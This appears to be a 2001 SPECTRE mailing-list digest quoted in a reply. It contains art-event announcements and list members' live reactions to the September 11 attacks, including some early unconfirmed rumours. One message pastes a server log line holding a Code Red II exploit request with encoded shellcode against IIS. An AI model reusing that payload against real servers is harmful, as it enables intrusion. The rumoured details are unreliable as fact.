[spectre] Re: SPECTRE digest, Vol 1 #17 - 10 msgs

Gregory Taylor gtaylor@rtqe.net
Tue, 11 Sep 2001 11:40:03 -0500


spectre-request@mikrolisten.de wrote:

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> Today's Topics:
>
>    1. Kiev: "Scenic Eye" exhibition (geert lovink)
>    2. Re: cough! cough! cough! (Jeremy Welsh)
>    3. Scene Strike Five, Belgrade (Andreas Broeckmann)
>    4. call - 'very CYBERFEMINIST INTERNATIONAL' (Cornelia Sollfrank)
>    5. Re: tactical.virii (kit blake)
>    6. Terrorist attack in US (Julie)
>    7. terror in NYC (Timothy Druckrey)
>    8. (no subject) (minx@bway.net)
>    9. Re: terror in NYC (Andreas Broeckmann)
>   10. state of emergency (Timothy Druckrey)
>
> --__--__--
>
> Message: 1
> From: "geert lovink" <geert@xs4all.nl>
> To: <spectre@mikrolisten.de>
> Date: Tue, 11 Sep 2001 15:30:34 +1000
> Subject: [spectre] Kiev: "Scenic Eye" exhibition
>
> From: "Vaganova Julia" <vaganova@cca.kiev.ua>
> To: <press_english@cca.kiev.ua>; <el_media_english@cca.kiev.ua>;
> <art_english@cca.kiev.ua>
> Sent: Monday, September 10, 2001 9:06 PM
> Subject: just to remind - "Scenic Eye" exhibition
>
> Center for Contemporary Art at UKMA
> est. by George Soros
> and the Goethe-Institut Inter Nationes Kiew
>
> present an exhibition titled
>
> SCENIC EYE
>
> Curated by Wolfgang Storch
>
> 12 September to 6 October 2001
>
> Opening Wednesday 12 September at the CCA at 19:00 and at the L-ART Gallery
> at 20:00
>
> For the third year in a row, the Center for Contemporary Art is commencing
> the autumn season with an exhibition of German art, presented in
> co-operation with the Goethe-Institut, Kyiv. This year's season will open
> with an exhibition titled "Scenic Eye: Visual Art and Theater", with the
> participation of Klaus vom Bruch, Carlfriedrich Claus, Hartwig Ebersbach,
> Jochen Gerz, Rainer Gorss, Magdalena Jetelova, Hans Peter Kuhn, Raimund
> Kummer, Mark Lammert, Olaf Metzel, Hermann Pitz, Karlheinz Schafer, Thomas
> Schutte, Katharina Sieverding, Rosemarie Trockel, Gunter Uecker, Wolf
> Vostell, Ute Weiss-Leder, Qin Yufen.
>
> The concept for this exhibition emerged from curator Wolfgang Storch's idea
> to propose that a group of recognised German artists create works under the
> conditions which govern theater art. Such works would have to take into
> account the different relationship between such works of art and the
> viewers, as well as the existence of playwright, director, and actors. None
> of the invited artists had any experience in set design, therefore each of
> them implemented primarily their own artistic strategy in their work. Most
> artists selected a literary or dramatic theme, creating a work of art which
> would re-present the literary work by visual means. Others created works of
> art based wholly on formal parameters; here, the interaction between the
> work of art, the public, the actor(s), and the text was important, for a
> play is always dependent on viewers - who are, in effect, the audience. In
> contrast, even a single viewer is sufficient for a visual work, which
> requires intimate contact between itself and the beholder. Thus, the
> objective was to create a visual work of art while keeping in mind the
> theater and taking into account the various rules governing theatrical and
> visual art. The aim was to dialogue between visual and theater art.
>
> Starting September 12, the "Scenic Eye" exhibition may be viewed at the CCA
> and at the L-ART Gallery (2 Andriivsky Uzviz). A tour of the CCA exhibition
> for the press will take place on September 12 at 17:00, to be followed by a
> press conference at 17:30 and the official opening at 19:00. Lectures will
> be given in the UKMA Congregation Hall by the curator Wolfgang Storch on
> September 11 and by Magdalena Etelova on September 13 (at 18:30 on both
> dates).
>
> The exhibition is created by the Institute of International Cultural
> Relations (ifa) in Stuttgart,
> Project supported by the L-ART Gallery.
>
> Exhibition sponsored by Lufthansa and Bosch, radio "Stolytsya",
>
> International Renaissance Foundation, "1+1" TV, the magazines PiK,
> Kommersant',
> Eastern Economist, and What's On, LUX-FM, and the firms Euroformat,
> LuckyNet, and FDR.
>
> For more information please contact CCA program manager
>
> Yuliya Vaganova at tel. 238-2446, e-mail: art@cca.kiev.ua or
>
> Goethe Institute PR coordinator Yuliya Krikun at tel.:441-1301, 236-9574.
>
> --__--__--
>
> Message: 2
> Date: Tue, 11 Sep 2001 08:42:13 +0200
> From: Jeremy Welsh <jw@khib.no>
> Reply-To: jeremy.welsh@khib.no
> Organization: =?iso-8859-1?Q?Kunsth=F8gskolen?= i Bergen
> To: spectre@mikrolisten.de
> Subject: Re: [spectre] cough! cough! cough!
>
> Fill Spectre with spectral ghost-throat-clearing-noise-over signal cyber-rabbit
> ?
>
> Or not ?
>
> Spectre/spectral spectrum, graduated on a scale from clear to murky
> where function <murky> = communication collapsing in a closed loop
>
> :)
>
> --__--__--
>
> Message: 3
> Date: Tue, 11 Sep 2001 09:29:12 +0200
> To: spectre@mikrolisten.de
> From: Andreas Broeckmann <abroeck@transmediale.de>
> Subject: [spectre] Scene Strike Five, Belgrade
>
> Date: Wed, 5 Sep 2001 23:15:24 -0700 (PDT)
> From: Aleksandar Gubas <eurindie@yahoo.com>
> Subject: Scene Strike Five
>
>            ______ _____ _____ _____ _____ _____ __ _____ ______
>           _)    _Y    _Y    _Y    _Y    _Y    _Y__Y_   _Y     (_
>           \_  |_\_  | \_  l_\_  l_\_  | \_  `-\_   / | \_  |  _/
>            |  l  |     |  |  |  |  |     |--,  |  /     |  |  |
>            l__   l_____l__|2Fl__|  l_____l__   l_/l_____l__|  |
>               `--'                          `--'           `--'
>                                 presents::
>
>        S C E N E   S T R I K E   F I V E  -  W A R M I N G   U P !
>                       [the official announcement v1.0//
>                         release date::22-Aug-2001
>                        : v1.1 update//06-Sep-2001
>
>     after some time, there will be the Scene Strike again.
>     the Scene Strike 5 will be held in Belgrade, on Sep 21-23, 2001.
>
> s s 5   c o n t e n t s::
>
>     -  competition.
>
>     -  concert by Serbian electronic musicians and groups, mostly from the
> demo  scene  - including live performances and DJ sets, with realtime demo
> mix on the video projector.
>
>     -  non-stop  screening  revues of the demo scene from its roots on C64
> and  Spectrum,  to  the  most  influential  groups  throughout the scene's
> history, to the latest production from the most recent world demo parties.
>
>     -  screenings  of  the  videos made for electronic labels (WARP, NINJA
> TUNE),   for  various  electronic  musicians  like  COLDCUT,  APHEX  TWIN,
> AUTECHRE,  SQUAREPUSHER,  EBN and others who are among the scene's sources
> of inspiration.
>
>     -  screenings  of  lo  and  hi budget films, with the special premiere
> revue  of  the  best short films from the 4th Yugoslav Cheap Film Festival
> (in collaboration with LOW-FI VIDEO from Belgrade).
>
> s s 5   s c h e d u l e::
>
> [FRIDAY//Sep21//2001]
>   13:00 - reception
>   15:00 - demo and video screenings
>   19:00 - official start of the event
>   20:00 - films from the 4th YCFF [thanks to the LOW-FI VIDEO]
>   23:00 - concert and party
> [SATURDAY//Sep22//2001]
>   14:00 - COMPETITION DEADLINE for all categories
>   15:00 - demo and video screenings
>   20:00 - COMPETITION [screening of the submitted works by categories]
> [SUNDAY//Sep23//2001]
> around 00h - film surprise
> around 02h - award ceremony
> party continues on during the night and early morning hours...
>
>     all the SS5 events will take place at the first floor of the Belgrade
> Youth Cultural Centre [BYCC - Dom omladine Beograda].
>
> c o m p e t i t i o n::
>
>     following  the  tradition,  the  competition is conceived by technical
> categories.  the SS5 will receive works in these categories:
>
> m u s i c:
>     - 4channel        [ format: PT MOD exclusively. 700kb max filesize ]
>     - multichannel    [ format: XM, MOD, IT, MED, DBM. 2mb max filesize ]
>     - mp3             [ format: mp3 or ogg. 10mb max filesize ]
>
> g r a p h i c s:
>     - pixel graphics     [ format: 640x512, 256 clrs, IFF, GIF, PNG ]
>     - truecolor graphics [ format: 800x600, 24bit, PNG, JPG, TIFF/LZW ]
>     - raytrace graphics  [ format: 800x600, 24bit, PNG, JPG, TIFF/LZW ]
>     - ascii              [ format: 80x24 characters ISO ]
>
> d e m o:
>     - intro              [ 64k max, windows/dos [pc], aga [amiga] ]
>     - demo               [ 10mb max, windows/dos [pc], aga [amiga] ]
>     - wild               [ VHS, AVI, MPEG, ANIM, COMPUTER, other... ]
>
>     directly  supported platforms are pc and amiga, but the works from the
> other platforms [mac, sgi...] will also be accepted, if they fit in any of
> the categories.
>
>     4channel  category  is  protracker  only  - acceptable are only moduls
> playable  by  the standard protracker 2.3b.  moduls can be made on pc too,
> but  must meet the conditions usual for this format.  4channel moduls will
> be presented from amiga with hippoplayer.
>
>     multichannel  category  will  be  presented  from  pc  with the latest
> version  of  modplug  player,  except  DBM  and  MED formats which will be
> presented from amiga.
>
>     graphics  categories  will  be  presented  from pc with ACDSee, except
> ascii  compo  which  will  be  presented  from amiga with CED editor using
> standard system font.
>
>     the  recommended  format for the wild category is vhs.  alternatively,
> some of the compo machines can be used as the player for the animations in
> some   amiga   or   pc   format.   if  your  work  requires  some  special
> player/hardware [not mentioned here], you must provide it for the needs of
> your  presentation  and  inform  us about that before the beginning of the
> party in order to organise proper screening.
>
>     the  SS5  will  award  the best works in each of demo categories.  the
> money from the tickets sold for the SS5 will make the demo award fund.
>
>     eligible  for  the  demo competition are the works made by the artists
> being  physically present at the SS5.  the works by the other artists will
> be   presented  at  the  SS5  screenings,  but  will  not  participate  in
> competitions.
>
> c o m p o   m a c h i n e s::
>
> pc:    celeron2 @ 633 [950] + 256MB RAM
>         Inno3D GeForce2MX TVOut [32MB]
>          SB Live! and Gravis Ultrasound [512k]
>           WIN98SE
>
> amiga: amiga 1200 + blizzard 1260 [060/50] + 32mb fastmem + AGA
>
> c o n t a c t::
>
>       SS5 www: http://www.crsn.com/ss5 [plus the hidden part]
> corrosion www: http://www.crsn.com
>
>         email: corrosion@yubc.net
>                domin8r@amigascne.org
>
>         phone: +381(0)63-8229-844 [mobile]
>                +381(0)11-3440-571  [fixed]
>
> c r e d i t s::
>
>     Scene  Strike  Five  -  Warming  Up!  is a part of the Medi@terra 2001
> International Art & Technology Festival:  http://www.mediaterra.org
>     SS5  is  organized  by  corrosion and BYCC.  SS5 is being co-ordinated
> from the multimedia garage "the cell", Belgrade.
>
> - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- - -- -  -- [corrosion2oo1]
>
> --__--__--
>
> Message: 4
> Date: Tue, 11 Sep 2001 09:37:31 +0200
> To: spectre@mikrolisten.de
> From: Cornelia Sollfrank <cornelia@snafu.de>
> Subject: [spectre] call - 'very CYBERFEMINIST INTERNATIONAL'
>
> Call for Proposals/Abstracts
>
> 'very CYBERFEMINIST INTERNATIONAL', hamburg 2001
>
> organizer: old boys network
> (Verena Kuni, Helene von Oldenburg, Claudia Reiche, Cornelia Sollfrank)
> date: december 13-16, 2001
> location: lichtmess-kino
>
> This will be a three-day conference addressing different themes each day,
> and including evening programs.
>
> 01. opening reception
> [evening, december 13, 2001, thursday]
> At the opening reception OBN introduces itself in a performative way. All
> speakers of the conference as well as other additionally invited
> CYBERFEMINISTs present their personal approach to CYBERFEMINISM during a
> poster presentation. 20-30 presenters are standing in front of their
> individual posters and explain
> it to the audience. The single presentations do not exceed 10 minutes and
> will be 'looped'. Everybody will be talking, playing and performing at the
> same time.
>
> 02: CYBERFEMINIST networking - knot working - not working?
> [day, december 14, 2001, friday]
> Due to the underlying dynamics of networks there is a permanent need to
> clarify the changing organizational structure and the way that individual
> members see the network and their roles within it. It is important that
> members express their divergent ideas of structure and networking and
> develop them into a common structure which only can be the basis for
> networked action and reality. Using an open format, the past, the present,
> and the future goals of obn will be discussed, and all kinds ot utopian
> visions for obn's future will be aired. A next step will be to go beyond
> our own network, and to look at the condition and the potential of
> self-organized structures as an alternative to institutional forms within
> the art system, academia and politics, and discuss their relations and
> interdependencies.
>
> 03: function of (start) function of (shut) function of (stop) function of
> (open) = new border concepts
> [day, december 14 & 15 2001, friday & saturday]
>
> Mathematical functions are the core of algorithms that operate computers.
> Temporal and spatial borders can be written as interacting functions.
> Closings and beginnings, endings and openings combine and cross, thus
> modeling the experiences of borders we enjoy or suffer. Breakthrough,
> shelter, prison, invasion or escape are not neutral in terms of control.
> For: who is able to manipulate those functions? They are always political.
> Liberation was another word for a hack in the system's functions in
> operation, inserting the border of the real into the reality of the
> operating system. New border concepts perform the relations of power as
> well as the dynamics of variable temporal and spatial functions.
>
> CYBERFEMINISM is no game without borders, but a playing with borders that
> takes them seriously, a work at the boundaries of that 'contested zone' in
> which the so-called real and virtual diverge, and which mines utopias of
> transgression, understanding them as a potential for transformation. If
> CYBERFEMINISM is also a utopia, then its utopian designs can be fictions as
> well as specific political options. In the field of CYBERFEMINISM utopias
> offer differentiated models for discussion which can invent new forms of
> communication, open up new articulations of space and time which do not
> only function in cyberspace, or suggest models based on genetic
> technologies, operating new life or gender models.
>
> The borders between political utopia, science fiction, and technological
> innovations have always been fluid - beyond judgment as to value.
> CYBERFEMINISTs take an inventive, tactical part in furthering a
> perforation, diffusion, conversion, transgression, subversion etc. of
> cultural forms with new
> technological possibilities. Some points of critical and creative attitudes
> towards fluid borders and special concern are:
>
> - new forms of global control and subversion through the electronic
> networking technology: how to obtain and secure privacy? how to react to
> the globalized economy and to the growing influence of global trusts on
> national governments?
>
> - realities and utopian fantasies of leaving the limitations and rules of
> the known world behind, in outer space as in cyberspace
>
> - manipulations of human consciousness with drugs/ pharmaceutials,
> psychological control, or media-related brainwashing
>
> - incorporation of technology into the human body and genetic engineering,
> how to understand and invert, use and misuse the possibilities?
>
> - new imaginations of gender with and without medical creations and
> redefinitions of sexual organs etc.
>
> 04: very TRANSGRESSIVE
> On the last evening of the conference there will be party, including
> concerts, DJs and VJs -- an evening when everybody will be crossing borders!
>
> The live acts within 'very TRANSGRESSIVE' give an insight into technical,
> cultural, political and economic inventions of electronic music and sound
> production. They present working methods, with a special focus on the
> underrepresentation of women in this field. What does "feminist" mean for a
> female commitment in electronic music? It is a question of "technique" - a
> possible musical, theoretical and political "technique" in discussion with
> the level of media technological development.
>
> 05: brunch
> [morning/noon, december 16, 2001, sunday]
> A casual get together to think over the results of the conference,
> strengthen our bodies for the trip back home with good food, and say
> good-bye to old and new friends.
>
> [06: live media presence]
> In addition to changing possibilities of production we find a complete
> restructuring of distribution, which opens up via Internet and new methods
> of data compression. New relations between producer and receiver have been
> introduced, and provide new possibilities for individual and collective
> production.
>
> Every contribution to the conference will be broadcast via live stream
> simultaneously through the Internet, and partly through the local radio
> station FSK in Hamburg.
>
> "very CYBERFEMINIST International" hopes to address many of the issues
> introduced above. We invite intense conversations, controversies,
> speculations, papers, projects, presentations in many forms. We invite
> paradoxical approaches and diverse interpretations of CYBERFEMINIST theory
> and practice. Our hope is to expand our connections and our horizon, to
> include an even greater mixture of CYBERFEMINISTs than participated in the
> 'first' and 'next' CYBERFEMINIST International, and to work out an
> operational structure for obn which will allow a smoothly running program
> called 'CYBERFEMINIST future'.
>
> Call for proposals/abstracts: by october 15, 2001
>
> Please send in proposals and abstracts for posters, presentations,
> lectures, DJing, and music performances.
>
> Mail to: boys@obn.org
>
> :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
> :::::"A smart artist makes the machine do the work"::::::::::::::::::::::::
> :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::
> ::::::::::::::::::::::: [net.art generator]: http://www.obn.org/generator :
> :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
> :Cornelia Sollfrank | Rutschbahn 37 | 20146 Hamburg | Germany :::::::::::::
> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0173-6173348:
>
> --__--__--
>
> Message: 5
> Date: Tue, 11 Sep 2001 12:15:30 +0200
> From: kit blake <kitblake@v2.nl>
> To: spectre@mikrolisten.de
> Subject: Re: [spectre] tactical.virii
> Reply-To: kit blake <kitblake@v2.nl>
> Organization: _infrae_
>
> Hi Spectres,
> Here is a hit from Code Red II in our server logs:
>
> 217.125.118.163 - - [11/Sep/2001:11:31:25 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 404 1978
>
> We're still getting 5 or 6 an hour....
> kit
>
> --__--__--
>
> Message: 6
> Date: Tue, 11 Sep 2001 07:49:23 -0700
> To: spectre@mikrolisten.de
> From: Julie <bluedahlias@mindspring.com>
> Subject: [spectre] Terrorist attack in US
>
> Dear All:
>
> We just have news reports on television here that 2 airplanes (they may
> have been hijacked from Boston) have crashed into the 2 towers of the World
> Trade Center in Manhattan, about an hour ago. One of the towers just
> collapsed. This was just as the work day began in New York City.
>
> A third plane has crashed into the courtyard of the Pentagon in Washington, DC.
>
> According to television news reports, all airplanes over the United States
> have been ordered to land immediately, and airspace over the US been sealed
> off. All flights in from Europe have been cancelled. Security around the US
> has just been locked down. The television reporters are practically
> speechless. George Bush gave a brief speech about not tolerating terrorism,
> and headed back to Washington from his visit to Florida.
>
> I pray for the countless numbers of people who have just lost their lives
> in these attacks, and for the poor souls on the hijacked planes who may
> have known what was to come before it happened.
>
> A moment ago, a car bomb just exploded outside the State Dept. in
> Washington, DC.
>
> I pray that the United States, with George Bush at its helm, and the United
> States military, do not bomb the shit out of ...
>
> The second tower in the World Trade Center just went down. There is chaos
> in the streets of New York.
>
> Please join me in praying that this is not the beginning of the New World
> Order, that what artistic, intellectual and physical freedoms that we still
> enjoy are not destroyed by the consequences of these events. Please join me
> in praying for tolerance, and for the protection of all people of color and
> immigrants in the United States, who will immediately be subjected to
> scrutiny, and racist violence.
>
> A portion of the Pentagon has just collapsed...
>
> Oh, God, those military fuckers are going to be really mad...
>
> --Julie Blankenship, San Francisco
>
> --__--__--
>
> Message: 7
> Date: Tue, 11 Sep 2001 11:14:15 -0400
> To: spectre@mikrolisten.de
> From: Timothy Druckrey <druckrey@interport.net>
> Subject: [spectre] terror in NYC
>
> All,
>
> Smoke billows over Brooklyn and the single broadcast channel has shaky live shots of the towers. I watched after hearing a radio report and got to the TV in time to see a 767 swerve and smash into the second tower. Within an hour both towers collapsed. Lower manhattan was covered with white dust, a suitable veil for the carnage below. Reports, as of 11am NY time, suggest that there are 5 other planes that have been hijacked. NY is being buzzed by F-16s, everything is shutdown, and a haze and white dust is covering everything. The shot showing the damage to the Pentagon appeared amidst reporters reduced to gasps of 'oh my god," as indescribable scenes played in their monitors. As of now (11:13 am) no word from City or Federal officials.
>
> more soon,
>
> Tim
>
> --__--__--
>
> Message: 8
> From: minx@bway.net
> Date: Tue, 11 Sep 2001 11:43:24 -0400 (EDT)
> To: spectre@mikrolisten.de
> Subject: [spectre] (no subject)
>
> pratt institiute in brooklyn. from the roof at 9:15 a.m.students recording
> the fall of the world trade towers. all of lower manhattan (where i live
> and can't get home to)  billowing in smoke.  all bridges tunnels,
> airports, tall buildings closed.no way in or out.billowing
> smoke.hospitals need blood.
> perry
>
> --__--__--
>
> Message: 9
> Date: Tue, 11 Sep 2001 17:56:50 +0200
> To: spectre@mikrolisten.de
> From: Andreas Broeckmann <abroeck@transmediale.de>
> Subject: Re: [spectre] terror in NYC
>
> people here at the podewil are in shock, watching tv, checking websites the
> world over; what a troubling media extravaganza with conflicting news from
> the world over ...
>
> what to say? speculations are rife ...
>
> greetings, be safe,
>
> -a
>
> --__--__--
>
> Message: 10
> Date: Tue, 11 Sep 2001 12:04:05 -0400
> To: spectre@mikrolisten.de
> From: Timothy Druckrey <druckrey@interport.net>
> Subject: [spectre] state of emergency
>
> Already it is being described as an act of war, as Pearl Harbor as reporters scramble to distinguish fact from wild speculation and the round-up of the usual terrorist suspects. You might be seeing more than I am since there's only one broadcast channel operating...and I just cannot get on to the CNN website.
>
> more soon
>
> --__--__--
>
> _______________________________________________
> SPECTRE mailing list
> SPECTRE@mikrolisten.de
> http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre
>
> End of SPECTRE Digest

--
knowledge is not enough/science is not enough/
love is dreaming/this equation/Gregory Taylor/
WORT-FM 89.9/Madison, WI/ http://www.rtqe.net/